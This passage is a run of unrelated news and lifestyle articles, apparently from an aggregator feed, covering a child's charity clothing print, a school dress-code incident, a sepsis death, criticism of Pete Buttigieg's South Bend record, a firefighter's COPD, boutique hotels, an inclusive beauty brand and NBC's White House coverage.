nod to CHOP's Daisy Days annual fundraiser, and daffodils, a symbol of the American Cancer Society. The print also has her name, Mary, hidden in the design, along with the words "Mary's Wish by Lilly Pulitzer." PHOTO: Mary works in the Lilly Pulitzer studio to design her 'Magical Mary' print. (Courtesy Lilly Pulitzer) "I loved it a whole lot and it made me feel good," Mary said of designing her print. The team at Lilly Pulitzer fast tracked Mary's design and it will be available online on April 27 and in Lilly Pulitzer stores around the U.S. on April 29. A portion of the proceeds will be donated to CHOP. (MORE: 5-year-old's dream granted through Make a Wish to host her own mystery podcast) "We work so hard on every print. Normally wed go through multiple rounds of editing and deciding and making sure its exactly what our customers want," said Kelly. "This time it was about what Mary wanted, and I think our customers will be just beyond thrilled." Mary's "Magical Mary" print is featured on a popover jacket and dress available in kids' sizes and a hat. She got to see the print for the first time this month and model it in a Lilly Pulitzer photo shoot with her three brothers. PHOTO: Mary poses with her three brothers in her 'Magical Mary' print. (Courtesy Lilly Pulitzer) Mary's print will be introduced at a launch party this Saturday in King of Prussia, attended by the Lilly Pulitzer team and Mary's friends and family. "We just want to thank everyone for their support," said Andersen. "So many people have told me theyre going to come [Saturday] and just the kind words, and thoughts and prayers for Mary over the past year, were just overwhelmed by the support." School administrator on leave after drawing on boy's head for violating dress code originally appeared on abcnews.go.com A junior high school administrator was placed on leave and could face disciplinary action for allegedly drawing on a student's head with a permanent marker. Juelz Trice, a seventh-grader at Berry Miller Junior High in Pearland, Texas, got a new haircut last week featuring a carved design. When Trice went to school the next day, a staff member allegedly informed him that his new hairdo was against the dress code and said he would be punished unless he allowed the carved haircut to be filled in with a marker. PHOTO: A school administrator is on leave after using a marker to draw on seventh-grader Juelz Trice's head. (KTRK) Trice said that although the incident made him feel uncomfortable, he didn't want to argue or resist at the time. "It was the talk of school that day and the day after," Juelz told ABC Houston station KTRK in a recent interview. (MORE: 'Hero' girl kept baby brother alive after parents' apparent murder-suicide) Juelz's mother, Angela Washington, said she didn't find out about the incident until after her son got home from school that day. PHOTO: A school administrator is on leave after using a marker to draw on seventh-grader Juelz Trice's head. (KTRK) "I was very upset," Washington told KTRK. "He got off the bus and he got into the car and said, 'Look what they did to my head.'" (MORE: Sweet video shows student's warm welcome back to school after heart transplant) Pearland Independent School District said Trice's haircut was in fact against the dress code, which states, "Hair must be neat, clean and well groomed. Extreme hair styles such as carvings, mohawks, spikes, etc. are not allowed." Still, the school district said in a statement that the staff member "mishandled disciplinary action" by giving the student the option to have the shape of his hair carving colored in with a marker, which is "not condoned by the district and does not align with appropriate measures for dress code violations." PHOTO: A school administrator is on leave after using a marker to draw on seventh-grader Juelz Trice's head. (KTRK) "Pearland ISD is extremely disappointed to learn of a situation that occurred at Berry Miller Junior High," the school district said in the statement on Tuesday. "The campus administrator is currently on administrative leave. Further action is forthcoming." Washington said the school has called to apologize and that the administrator shared his side of the story. "They were very apologetic, but it still happened," Washington told KTRK. "Nobody should think that is the correct way to handle a situation." Lilliana Schalck of Columbus, Ohio, was living a normal life when she passed away suddenly during a cheerleading competition in February. The 13-year-old had been healthy until just before she died, but an underlyingand commonstrep infection caused her to develop sepsis, which ultimately took her life. For more on infectious diseases, check out our Infectious Disease Condition Center wcpo.com / 9 WCPO Cincinnati Lilliana and her father, Dan, were attending a cheerleading competition in February when her father said that Lilliana began to feel weak. In an interview with FOX19, her father said that she was kinda out of sorts, with symptoms like numbness in her hands, hamstring pain, and feeling all-around weak. Lilliana was rushed to the hospital and just hours later was pronounced dead. We went from waiting for her to perform at 5:50 to holding her hand and they announced that she had passed at 7:40, her father told FOX19. RELATED: This Woman Almost Died From Sepsis at Age 39and it Taught Her an Important Lesson The Schalk family revealed the cause of Lillianas death from her autopsy. Apparently an underlying strep infection overwhelmed her immune system with little or no warning, and (resulted in) catastrophic results, the family said in a statement. It had been six years since the last time Lilliana was diagnosed with strep, but apparently she reacquired the bacteria unknowingly, which led to sepsis, a severe reaction to an infection. News reports suggest that the case of strep she had years ago could have caused her death, but Andrew Bernstein, MD, a pediatrician at North Suburban Pediatrics in Evanston, Illinois and a spokesperson for the American Academy of Pediatrics, tells Health that is not really possible. That may have been the last time she was recognized as having strep throat, but bacteria live all around us, and its not terribly unusual to have a skin infection from strep or staph, says Dr. Bernstein. Whats unusual, but definitely still seen, is that the infection from strep got into her blood and caused severe sepsis and death. Symptoms of sepsis can include a high heart rate, fever, feeling cold, and extreme pain or discomfort, according to the CDC. While these symptoms can be easily confused with other illnesses, its recommended that anyone experiencing these symptoms seek medical care immediately. RELATED: A 4-Year-Old Developed Sepsis After Shopping for Shoes Without Socks 'I ain't ever seen the dude' residents of South Bend's poor neighborhoods say Democratic presidential hopeful Pete Buttigieg left them behind While everything seems to be new and bustling with energy in South Bend's downtown, elsewhere, the city's economic life is in a holding pattern. Residents in the area say they see little of the mayor, and lament the flow of city dollars they see headed into neighborhoods they view as already well-off, as they are left to struggle amid rising gun violence and absent city services. "Ain't s--- changed," said Shawn White, a black 24-year-old from South Bend's west side. SOUTH BEND, Ind. C.J. Neely, a black 16-year-old who has lived here all his life, thinks it's pretty cool that Pete Buttigieg, the mayor of this small city of about 100,000 people, is running for president. "I never heard about anybody from Indiana running for president," Neely said recently outside his childhood home in the city's northwest. Just a few days before, Buttigieg, a rising star of the Democratic Party , officially launched his bid for president at an abandoned Studebaker plant downtown that the city helped convert into a 800,000-square-foot tech hub, a symbol of the city pushing beyond its 20th century roots. Neely, who lives just a few miles away, hadn't heard about the announcement. And, he said, he hasn't seen the progress. "This s--- looks the same, every time I walk through here," Neely assessed somberly. Though he acknowledged that the mayor was "trying," the teenager delivered a blunt conclusion: "He's improved s---." At a time when economic inequality and racial justice are at the nation's political forefront, Buttigieg's candidacy could be hamstrung by the impression that he has not tried hard enough to improve the conditions of South Bend's poor and minority communities. Even as his national polling numbers rise, the mayor faces criticism about his record on race, including for his handling of a police controversy that continues to be a subject of conversation in the city. His presidential campaign, however, cited South Bend polling data that shows the mayor has made inroads with minority communities. Chris Meagher, Buttigieg's national press secretary, said in a statement that a poll conducted by Buttigieg's "Pete for South Bend" campaign last month showed 86% "of folks, with a heavy African-American sample, said that the city was on the right track." Story continues Indeed, Buttigieg was reelected in 2015 with 80% of the vote, winning every part of South Bend against his Republican competitor. Buttigieg also won 77% of the vote against a black Democratic primary challenger. In that primary race, though, the extent of his victory was uneven, picking up one predominantly black district by only 60 votes , or four percentage points, according to the South Bend Tribune. The skepticism has dogged him on the campaign trail, too. Buttigieg has struggled to attract diverse audiences at rallies so far in his campaign. It is an issue Buttigieg has said he is " very intent " on fixing. His performance among poor and minority voters has weighed on him in some early national polls, too, particularly as his economic record in South Bend comes into greater focus. Buttigieg's campaign declined on multiple occasions to make him available for an interview. An economic holding pattern South Bend's northwest, pocked by vacant lots, broken curbs and blighted by streets that residents say have gone unpaved for years, is a world away from the sleek, revitalized downtown at the center of Buttigieg's audacious argument for placing himself in the highest office in the land . While everything seems to be new and bustling with energy downtown, in many other neighborhoods, the city's economic life is in a holding pattern. It's a problem that weighs heavily in South Bend, where more than half of the city's residents last year said that their neighborhoods hadn't improved over the previous five, according to survey data reported in the South Bend Tribune. And, on Neely's block, one that sits right at the heart of Buttigieg's most consequential economic initiative, dubbed "1000 Houses," it's hard to find someone who thinks otherwise. In 2013, Buttigieg pledged to knock down or repair virtually all of the city's vacant homes, an ambitious proposal that went beyond what experts at the time thought possible. The program concentrated on the city's lowest-income black and Hispanic neighborhoods, where homes were in disrepair. About 4 in 10 residents of South Bend are black or Hispanic, and those groups are far more likely to be burdened by the cost of housing and to be unemployed, a 2017 report on the city's racial wealth divide found. While many say they are glad the abandoned houses came down, they lament the lack of a plan for what would fill their place. And, they say, the project led to a number of unintended consequences, some involving health scares, that persist to this day and reflect a lack of attention to their impoverished parts of town. "There has been some constant complaints, especially from the African-American community, about families that were hurt or felt impacted by the vacant and abandoned [properties] task force," said Kathy Schuth, executive director of Near Northwest Neighborhood Inc., a community development corporation in the area. "I do think that the city is aware of the problem. I don't think that anyone has an answer." The city's lingering inequality has remained largely in the background as Buttigieg, a 37-year-old openly gay polylingual Afghanistan War veteran, has ascended in the polls. And, in recent months, the city has stepped up its efforts to develop and repair low-income neighborhoods. In January, applications opened for the city's "Love Your Block " program, which provides grants for small-scale home repairs. In February, applications opened for a program that enables residents to have their homes evaluated for potential savings on utilities. Applications for major home repair grants are expected to open late this summer. Some have yet to see progress. "Ain't s--- changed," said Shawn White, a black 24-year-old from South Bend's west side. "How is he gonna run the whole country if you can't even get your city right first?" Meagher pointed to "Mayor's Night Out" events that Buttigieg has hosted monthly or bimonthly in neighborhoods across South Bend, and noted recent projects on the city's west side, including the $4 million expansion of a community center and the city's funding of a business resource center tailored to entrepreneurs from minority backgrounds. 1000 Houses, more questions Buttigieg trumpeted the success of the 1000 Houses project when it was completed in 2015, and the city immediately pointed to preliminary data that it said showed a decrease in crime. As his profile has risen, Buttigieg points to the 1000 Houses initiative when pressed on his record on economic and racial justice. In an interview with NBC's Chuck Todd earlier this month, Buttigieg noted that for many, it felt as though the economic recovery from the 2008 financial crisis never happened. But, he said, "we've got it moving in the right direction." "We made sure that our neighborhoods were improved, because the issue of blight and vacant and abandoned properties was harming neighbors especially in minority neighborhoods," Buttigieg said. "People didn't think it could be done, but we dealt with 1,000 houses in 1,000 days by marshaling resources, concentrating them and working to fix the problem." People who live in the affected neighborhoods tell a more complicated story. They are still wrestling with the program's impact, and are less sold on its successes. One of the first problems to emerge was the clouds of dust, feared to contain lead and asbestos, that spread uncontained from the demolition sites. Soon, wild animals, like raccoons and groundhogs, appeared in people's homes. Vacant lots, where crumbling houses once stood, became dumping sites as tall grass grew. "I think that there just wasn't a clear understanding of the domino effect the true impact of what the actions were going to be throughout the neighborhood," said Regina Williams-Preston, who represents the city's northwest in its Common Council, a governing body. "We basically traded one problem for another." Years later, much of the grass is cut, but problems remain. The empty lots sit undeveloped, economic opportunity remains minimal and crime rates are up from 2012. Shootings, on the mind of many , have not decreased. James Kelly, a professor at nearby Notre Dame who co-chaired Buttigieg's 1000 Houses task force, said that the group was careful not to promise economic growth beyond what was possible and appropriate. "I think we knew that the idea of dealing with the vacant property issues was to set the stage for new growth, but growth that was appropriate," Kelly said. "It wasn't to promise people that if we did the demolition their communities would look just like they did before Studebaker closed. Rather, this was a necessary step." Despite the warning, some say they wish that the development came quicker. Tim Scott, a member of the task force who is now president of the city's Common Council, said he was "pretty antsy that we get in and work in neighborhoods right away." "But there was a systematic approach from the Buttigieg administration to right size the homes, look at the data and see where we are," he said. "To me, we are really in phase two. After all these years, we are in phase two." Pamela Meyer, South Bend's director of neighborhood development, said that "most of us would safely say that we all would like things to move quicker," but gaining ownership of vacant lots takes time, and developing them takes resources. "We don't get $20 million a year in federal resources, we get about $2 million, so we are talking about a handful of properties that we could work on in an annual basis," she said. Fears over clouds of dust continue In March, Buttigieg proclaimed that "the 1,000 days of the 1,000 houses program is behind us." Between 2013 and 2018, he said, the city dealt with nearly 1,500 properties, repairing almost half. But as as demolitions continue, residents say the program is hardly in the rearview mirror. Most worrisome, they say, are the clouds of dust that sometimes return at demolition sites, despite the city's promise of further precautions. The dust clouds are a frightening sight in a city where rates of lead poisoning are among the worst in the nation. Lead-based paints were banned for use on houses in 1978, and nearly 4 in 5 of South Bend's homes were built before 1980, according to the city . In some areas of the city's northwest, more than a quarter of children exhibited elevated levels of lead in their blood over the last decade, a team of researchers at the University of Notre Dame found . "At this moment a house is being demolished," a resident wrote in an email chain on a Near Northwest Neighborhood listserv in late February. "The dust blowing directly at a home with young children. Shame on the City for allowing our community to further be put at risk. This needs to change!" Scott, the council president, responded in an email saying that he asked the head of code enforcement to look into the problem. After his intervention, a city truck arrived and sprayed the demolition site with water, according to the emails. But residents worry about having to urge the city to take such precautions years after it embarked on a project that involved demolitions that at times took down whole blocks at once. "It alarms me that concerned citizens call the city to report a public health violation IN ACTION and not only get a phone runaround, but get no clear assurance that anyone will take appropriate action," a neighbor wrote. In a statement, the city said that inspectors from South Bend met with the contractor who performed the February demolition to make sure that protocol was followed, and that no violations were found. Contractors are "required to follow all federal, state and local requirements when handling and disposing of lead based paint debris," the statement said. Buttigieg said in March that the city secured more than $3 million to remediate homes that were at risk of lead contamination, and that the city had "worked to deliver free lead testing for all primary school students in South Bend Community School." Looking for a different kind of change White said that he remembers seeing the city's previous mayor, Steve Luecke, around his neighborhood. But Buttigieg, he said, has stayed away. "I ain't ever seen the dude," White said. "Tell him to chill with us for three or four days." The absence stings. But, in neighborhoods away from downtown, so does the lack of investment. Buttigieg has claimed that one of his economic initiatives, a project to make downtown more friendly to pedestrians, has attracted $90 million in private investments in the downtown area. It's a boast that smacks of unfairness in other parts of the city. "That's the worst thing they've ever done," said Steve Conard, a white man in his 60s who has lived in the northwest for 25 years. "They should have taken that money and paved the road. People come into this neighborhood they look at the curbs. They look at the streets. Who is going to move in here?" Buttigieg's campaign said that more than 440,000 feet of curbs and sidewalks were added or replaced between 2012 and 2018. Asked about the biggest economic development he's seen since Buttigieg was elected, White points in the direction of the Four Winds Casino that opened last year several miles to the south. One percent of the revenue from the casino goes to jobs and education programs , according to the South Bend Tribune. "That could have been a mental health facility," chimed in El Bey, a black 37-year-old who moved to South Bend from Chicago two years ago. Bey said that there were charitable services in the area, but said the ones he encountered mostly provided food, when what the area needed was treatment for mental health problems and substance abuse. "I'm not saying he doesn't deserve to have a chance to run for president," Bey clarified. "But he's got to take care of here first." The neighborhood's violence is a constant concern. Conard said he feared for his grandchildren when he heard gunshots while walking with them around his home. And, Conard said, he was frustrated by the broken sidewalks that made it hard for them to bike. He even offered to fix up the curbs himself, he said, but the city told him that was not an option they would fix them, but he would have to pay half. "If you are on fixed income, how are you going to come up with the money to pay half?" he said. "Around this neighborhood, they don't fix anything up." Local data on South Bend is limited, but what official figures exist paint a bleak picture. Four years after the 1000 Houses initiative ended, there are fewer occupied homes in South Bend than there were when Buttigieg was elected, according to American Community Survey data, despite a rising city population. The ALICE Project by United Way calculated that between 2010 and 2016, the number of households in South Bend shrank by 8%. The number living in poverty increased 2% in that period to 54%, by the group's measure. The city's eviction rate, though lower than some Indiana cities, remains the 18th highest in the nation, and increased between 2015 and 2016, according to The Eviction Lab at Princeton University. Buttigieg considers the initiative a success. In his political memoir released earlier this year, Buttigieg writes that the program was, in some ways, "a classic example of data-driven management paying off." "But the most important impact of the effort was unquantifiable," he wrote. "Hitting such an ambitious goal made it easier for residents to believe we could do very difficult things as a city, at a time when civic confidence had been in short supply for decades. As meaningful achievements can do, it raised the expectations our residents had for themselves and our community." More From CNBC As a firefighter, Eddy Weiss traveled around the country to help people who had just gone through a natural disaster. But helping the people of Joplin, Missouri, in 2011 after a devastating tornado would turn out to be disastrous for his health. Joplin was the home of old lead mines, Weiss tells Yahoo Lifestyle. The tornado stirred up lead fragments, dust, and other toxins, and made a lot of people sick as a result, he says. What I didnt realize is that there had a been a lot of people that had gotten infected in Joplin and that there were first responders who had lost their lives because of an infection they had inhaled, Weiss shares. He went home after helping with the disaster and says he had a horribly sore throatscratchy, coughing, sneezing, and it got worse. At one point, the cough got so bad that he passed out. He was hospitalized and diagnosed with COPD (or chronic obstructive pulmonary disease), an umbrella term that encompasses several different lung problems, including emphysema, chronic bronchitis, and refractory asthma. Weiss says his doctor told him that he had five years to live if he kept going with his lifestyle, or 10 years if he made changes. COPD is not something you can screw around with. Its debilitating, he says, noting that he has breathing attacks at night and wonders if hell die. My poor wife, how many times I woke her up. I didnt wake her up to help me. I woke her up just to see her one more time because what if thats it, he says. COPD put me in a much darker place than my career had already put me. Now, Weiss says he has a panic attack if an escalator or elevator is out. Im trapped. I cant take the stairs, he says. Halfway down those stairs could be the last step I take. Theres a psychological side to COPD that is evil because you can make yourself worse by worrying about how bad you are. While living with the disease is scary, Weiss says hes trying to make the most of every moment, including having a baby at age 55. Im still making every second count. Im not going to stop moving, he says. I dont want to die on the day I did nothing. If I die, its going to be a high-speed death because Im going to be moving. Frances Experimental Group made good on its name more than a decade ago when it started turning some of Europes least desirable addressesa Chinatown hole-in-the-wall in London; a graffiti-covered dive in Pariss second arrondissementinto some of the worlds best cocktail bars. Now the companys killer instincts and derring-do are about to disrupt another industry with a collection of modern hotels in Paris; London; Verbier, Switzerland; and, later this year, Venice and the Spanish island of Minorca. Here, cofounder Pierre-Charles Cros tells us why the guys who make your favorite drinks are so well suited to make your bed, too. How did you go from cocktail bars to hotels? Related stories A New Ski Chalet Opens in France's Winter Wonderland This Dom Perignon Comes with a Trip to France Beautifully Restored 17th Century French Chateau Is a Steal at $3 Million Hotels were always the goal because they are the pinnacle of hospitality. You can have all your skills under one roof, and you can take care of people 24/7. Our main skill from the first bar was putting the customer at the center. It is the same with hotels. A lot of places are designed just with efficiency in mind, but those constraints are sometimes misaligned with the customer experience. For example, when we chose the beds and linens, we tried 15 different mattresses ourselves until we found the best [from Frances Davilaine]. What do Experimentals hotels look like? We are not cookie- cutterwere not a chainso we start every project as a blank page. We think about the whole experience and what the guest wants in a destination. For example, our hotel in Venice is for people who are more attracted to the cultural events that the city has to offer than just tourist attractions. They have seen the Grand Canal before; theyve seen the monuments. Now they are coming for the Biennale, the architecture, the Guggenheim. The hotel is in the Dorsoduro, in a former maritime headquartersnot in San Marco. It is the area where all the locals will come for a coffee. Story continues Are the same people who sidled up to your bars now checking in at your hotels? Yes. We have evolved with our clientele. When we started, we were 23we were up until 4 am drinking cocktails. Then our wine bars opened as we grew up a little. Then came the hotels. The best surprise was in Verbier, seeing our clients from our cocktail bars come with their families 10 years later. How have modern travelers evolved? Young, successful people dont care so much about status. They dont necessarily want a suite or a butler. They want to make sure they can connect. The hotel is the first place that they are going to connect with people. Also what has changed is that businesspeople dont want to be in a business hotel. They dont want an office with a bed. They want somewhere fun where they can relax. The lines between business and pleasure are blurred now. Most important question: What kind of drinks can we get in Experimentals hotels? Were curating all our cocktail menus and minibars to reflect their locality. So, in Verbier, youll find Swiss vodka and abricotine, a local liqueur that is made around the corner from the hotel. Well also have bottled cocktails that change every couple of months, like a Negroni a la Vieille Prune, which is Campari, sweet vermouth, and prune liqueur from the canton of Valais. Sign up for Robb Report's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Halima Aden has only been in the industry for a few years but the Somali-American model has already redefined the standards in fashion. And now, she is setting out to make a change in the beauty industry, too. "When I'm on set, I notice that makeup artists have to blend multiple foundations or concealers to match my skin color," she tells Refinery29. That's proof that even in 2019, there's more work to be done when it comes to serving women of color in the makeup aisle. That's why when she met with Sharon Chuter, the founder of the new beauty brand UOMA pronounced OMA she was all in. "I fell in love with the concept," Aden says of the new brand that aims to take inclusivity to the next level. "It was very exciting for me, because it's the first Afropolitan line of cosmetics." In addition to providing an extensive shade range, Chuter, who has worked in the beauty business for years with companies like LVMH, wants to reinvent the foundation category in another way. While other brands are simply adding on more shades to their foundation collections, UOMA is creating completely different formulas for different skin tones. So, within the 51 available shades, there are six custom formulas that will address the most common skin-care needs of each shade range. For example, the deeper shades have ingredients that help with hyperpigmentation, and the fair shades have ingredients that help reverse redness. Along with the foundation, the brand will also be launching at Ulta with concealer, a contour-and-highlight stick, liquid eyeliner, lipstick, lipgloss, and eyeshadow palettes all created to serve a variety of skin tones. In addition to Chuter's next-generation formulations, she also created a brand D.N.A. that is rooted in inclusivity. The name UOMA means beautiful in Igbo, the native language of southeastern Nigeria. The campaign, which features Aden, was shot in Nigeria. And even the product names play homage to culturally influential women (like Cleopatra, Angela Davis, Miriam Makeba). Chuter is setting an example of how to define inclusivity beyond shade availability. Story continues Photo: Courtesy of UOMA. Representation doesn't just matter on the shelves, it's also important in the way the brand is presented on social media and in campaigns. "Anytime I have a campaign, I always get the flood of direct messages from girls like, 'Wow, this is what you're inspiring me to do,'" says the 21-year-old, who made history as the first Miss Minnesota USA pageant contestant to wear a hijab and a burkini on stage. "There are girls that never thought there was a space for them and so when they do see someone who wears the hijab, who is Somalian, who is Black, who they can just relate to personally, it gives them that extra boost of confidence which is what has been so moving for me and what keeps me motivated." And the best way to create even more change in the beauty industry is to give dollars to the brands that are doing it right. Aden emphasizes that we need to let the numbers hold these companies responsible. "We don't need to hold brands accountable, because now more than ever, brands are recognizing the power of being inclusive," says Aden. "What holds these companies accountable is when they get their year-end statements, and if they aren't being representative and inclusive, that's where they see the outcome." While there is still room for improvement for the beauty industry, Aden is proud of where it is going, especially when brands like UOMA are coming to the market to raise the bar with inclusivity. "I can't wait to see what the next couple of years is going to look like, because just two to three years into my career and I've seen so much change," she tells us. "I went from being one of the only hijab-wearing models to now, just this year, I counted already 10 hijab-wearing models in campaigns. Women are challenging the norms and being fearless." Like what you see? How about some more R29 goodness, right here? The Tiny Detail You Probably Missed In Beyonce's Adidas-Themed Instagram Salma Hayek Got A Breast Tattoo For The Hitman's Bodyguard Sequel Blowouts, Blush, & Royal Buns: Kate Middleton's Best Beauty Looks Walking into the grounds of the White House, at least through the press entrance on the west side, feels like crossing into some kind of hostile territory. Security is accusatory. There is no exchange between staffers going to and fro and members of the press who may pass by. Politesse, when called for, is minimal, if at all. Frankly, its surprisingly unwelcoming for a residence also known as The Peoples House, something it hasnt been called in a few years now. Coincidence? Nevertheless, its the core of renewed fascination in or obsession with the presidency and interest in the media that thrives off of President Trump and his executive antics. Related stories The U.S. Economy Surprises on the Upside The U.S. Economy: Is a Pre-election Recession in the Cards? Vanity Fair Keeps Evolving With Collier Schorr as New Contributor Enter NBCs team of White House correspondents who, with their networks singular makeup of a 24-hour cable channel (MSNBC), network news shows (Meet the Press, Nightly News, The Today Show) and online presence, make up some of the most omnipresent political reporters in the country. Together the network shows and MSNBC reach around 13 million viewers a day and the main web site gets about 32 million unique views a month. Its never been more important [to cover the White House] and its never been more challenging, arguably, said Noah Oppenheim, president of NBC News. If nothing else, simply the pace of news being made is unlike anything Ive ever seen. So the network staffed up post-election. Theres the core White House team of 10, split evenly between correspondents and producers and then another 40-plus reporters covering all aspects of the administration. Weve got more journalists on the ground than at any other time in our history, Oppenheim said. All of whom are dealing to some degree with a White House that is openly adversarial and antagonistic of the press. This obviously feels like the dynamic between the White House press corps and this administration is unique, certainly different than what the dynamic was during the Obama administration and the Bush administration, Oppenheim added. My colleagues who have greater historical perspective will tell you that theres always been a somewhat adversarial relationship between the press corps and the White House and it has heated up or cooled down in a cyclical fashion, depending on the circumstances. Story continues Todays circumstances, with a president whos dubbed most political reporters the enemy of the people and is now demanding a government boycott of the White House Correspondents dinner on Saturday seem to undeniably lean toward the hot curve of this purported cycle. One need not go beyond the White House briefing room a lot smaller than it looks on TV, by the way to see the current stalemate. A couple of camera guys, sound engineers and a reporter or two slumped in their seats, staring at their phones, all lights off, waiting for a briefing that will never come. Its been a record 45 days without any kind of briefing. In spite of all this, the gang of correspondents and producers, even those sitting in the 6-by-11-foot NBC booth at the White House, comes off as a rather merry band. They smile and joke, theres an ease. They dont have the surly or drawn countenance of some staffers spotted outside the West Wing. Maybe because the President was inside that early afternoon, maybe taking his meeting with Jack Dorsey, founder and chief executive officer of Twitter, which made headlines the next day for the President complaining of a declining follower count. Sitting on a walkway outside the White House along the line of semipermanent network camera operations known as Pebble Beach for the gravel that used to be there, NBC White House correspondents Kristen Welker, Peter Alexander and Hallie Jackson all agreed that covering this particular beat at this particular time was no more or less than an honor. I feel very lucky that we have a front row seat to history like this, literally, its amazing, Jackson said. Kelly ODonnell, speaking from Atlanta where she was on assignment, said even with all of the scrutiny of the media right now, led by Trumps criticisms, Im grateful every day. Im the granddaughter of immigrants and I get to walk into the White House everyday its a tremendous privilege, added ODonnell, whos celebrating 25 years with NBC this week. We all recognize that, for whatever else we accomplish in the course of our professional lives, our experiences will be defined by what were doing right now, Alexander noted. Chuck Todd, who covered the beat for six years before becoming host of Meet the Press, said hed never have been prepared to do the job I do today without that experience. He noted theres no more grueling beat and no more historically important, which makes it intoxicating for a journalist. Singular, privileged experience though it may be covering this White House, its unprecedented nature, in so many ways, has posed some challenges. Stacey Klein, NBCs senior White House producer, said the team has grown to 10 from four in response to the style of the Trump presidency. I covered a foreign trip when President Obama went to Jamaica and it was just me and a tiny little camera, no correspondent, Klein recalled. Now we send up to four correspondents [on every trip], four to five producers, a person from digital, six crew and our managing politics editor has come on the last three trips. Its insane. Part of this expansion is the fact that Trump or something from the administration tends to lead all of NBCs news shows and the team is doing hits or appearances every hour on MSNBC, along with feeding NBCnews.com. Every single hour of our day, theres always a desire and need for content, Klein added. Thats a dramatic shift from covering White Houses past. In the words of Ken Strickland, whos been with NBC since 1995 and is now its Washington bureau chief: One year of President Trumps administration equals three or four years covering Clinton or Bush. Alexander used the word relentless. Welker, Jackson and fellow correspondent Geoff Bennett, the most recent addition to the very diverse team one thats mostly women and represents many people of color all individually compared it to some version of drinking out of a firehose, especially in the beginning of the Trump presidency. The enterprise of journalism, were trying to figure out in real time how to adapt to the administration the firehose of news, but also holding him to account, Bennett said. Hes figured out how to use shamelessness as a political tool. Our days for that first at least six months would start at 6 a.m. and we would be going nonstop until 11 oclock at night, at least, Welker recalled. Whats allowed us to break out of that intensive rhythm well, its still incredibly intense but we have this robust team and frankly, we function like a well-oiled machine at this point. Who used that phrase? Alexander chimed in, ironically snapping his fingers to remember, before whispering: Oh yeah, the President. As the President once told a source of mine who was up in the West Wing, he held up a copy of The New York Times and said: Can you believe this? I used to never get into the Times and now Im in that story and that story and that story Alexander went on. He is all-consuming in terms of his appetite for media and in terms of the way he inserts himself into everything. About that appetite. This is something else that has taken getting used to for the team. For all of Trumps negative tweets about media coverage and non-Fox reporters and pundits, attempts by him and his administration to take down this or that report, he talks to the media a lot. But rarely is it scheduled or expected. You have to be essentially ready to interview the President every day that you walk in, at any moment, Welker said. She gave the recent Easter Egg Roll at the White House as an example, saying Trump came close enough to the reporters for them to shout some questions, which he answered. Jackson recalled Trump, in the Oval Office for a photo op with the Chinese Delegation on Trade, suddenly deciding to take questions on everything for at least 40 minutes. The correspondents share a running list of questions for the President, an attempt to be prepared in such an unstructured environment, with a President who seems to enjoy rattling a cage when possible. Alexander remembered covering Trump during an official vacation in Bedminster, N.J., and he suddenly opened up to questions. We asked him a couple related to the news of the day and then he kept taking questions and kept taking questions, Alexander said. After like 15 minutes, he literally said, Peter? Peter anything else? Peter? And I started looking down at my phone thinking, Please, God somebody have a question; what am I missing? And all of a sudden, ding, ding, Hallie, Kristen, Kelly with, How about this and this. And he answered all of them thats remarkable in terms of access. ODonnell, who has covered the administrations of Presidents Obama, George W. Bush and, to a lesser degree, Clinton, said having to be on such a heightened state of awareness round the clock is different than any other White House, as is the President himself doing so much of the talking with the media. Previous administrations delegated much more to top officials. If you look at his career in business and then in politics, he has long been his own communications director and he enjoys engaging with the press, despite his rhetorical war with the press, ODonnell said. He doesnt take questions he doesnt want to answer, but hes willing to engage, to spar and he believes he can affect the news in terms of creating events and he has done that. So what of the criticisms that the media is too easily distracted by some moments or issues that are apparently manufactured by the President to take attention away from this or that? Or the idea that the media writ large benefits hugely from dragging out coverage of some issues daily presidential tweets, the Mueller investigation at the expense of others climate change policy, Trumps empty promises to the middle class and poor? He is a newsmaker by definition and we have to cover what he says and what his policies are, what his actions are, ODonnell said. Its never our role to ridicule or lecture the President. Look, with the Mueller Report specifically, a special counsel was appointed to investigate whether a sitting president of the U.S. collaborated with a foreign power to disrupt our election, Oppenheim said. I cant imagine a bigger, more high-stakes question and I think that warranted the level of coverage that we gave it. It paid off on the business side. NBC News was first across all of TV in the core age demographic of 25 to 54 last Thursday, when the redacted version of the Mueller Report was released. Beyond the report coverage, Meet the Press has been number one in the same age demo for 63 straight weeks in the Nielsen category of Sunday Affairs programming and number one in overall viewers for that day the last 10 weeks. Today hit number one this week, too, with average daily viewers hitting just over 4 million. MSNBC had its best year ever in 2018, beating three previous consecutive years of growth coinciding with a new strategy to focus on breaking news throughout the day, bringing in an average of 1.2 million viewers a day for the first quarter of 2019. But there is a chicken and egg question here in wondering whether the media is covering genuine news moments and feeding a public appetite or creating both, for its own benefit. Everyone agreed that there is heightened interest in what Trump and his administration are doing, but Bennett admitted to thinking there were indeed two sides of the onslaught. We have an administration thats making news on myriad fronts there was at one point three Russia investigations, then you have the cult of personality of Trump and the fact that he was the first person to get elected with no relevant experience, Bennett said. When you have all of that, its almost like a tinderbox thats created all of this attention. Klein, the senior producer, has no doubt that there is an increase in events and moments and issues coming out of the White House that need to be covered, so much that its putting real demands on a network of NBCs size. There have been moments where Ive thought Do we really need to cover that? and then I think Yes because this president is so unique for so many different reasons, regardless of your politics, there is always news, she said. Ive never felt that we were looking for stories or overdoing it or making something out of nothing. Something that likely has been created is an entirely new way of being president and covering one as a reporter. Welker tried to put a positive view of the changes ushered in by Trump, wondering hopefully if a future president, whether one comes in 2021 or 2025, will say Hey, theres actually value in answering questions from the press when Im about to get on Marine One, or think about being more engaged in their own messaging. Almost nonexistent briefings is something she hopes doesnt stick. But Jackson and Alexander, talking in a broader sense of whether Trump has fundamentally changed the presidency in any way, dont see old presidential norms coming back, for better or worse. Theres no more old normal, Jackson said. I just dont see it. This administration has fundamentally changed a lot of things. Theres no going back, Alexander agreed. We dont know what itll look like going forward, but its all going to be framed through the lens of what this experience was. Theres going to be a pre-Trump and a post-Trump way that we conduct our jobs. For More, See: Media People: Heather Dietrick of The Daily Beast Media People: Kate Lewis of Hearst Magazines Media People: Richard Gingras of Google News Sign up for WWD's Newsletter. For the latest news, follow us on Twitter, Facebook, and Instagram. Photo credit: Courtesy - Getty Images From Town & Country Part of the reason I keep going back to see Daniel Fishs Oklahoma! is to see if Jud Fry can make me cry. And he does. Every single time. Actor Patrick Vaill is the one responsible for this heartbreak. Watch him closely when you go see it-and do go see this-and you will witness Juds glimmer of hope, glimpse an American dream, and watch that descend into darkness. Pay particular attention as he listens to the details of his own funeral as the 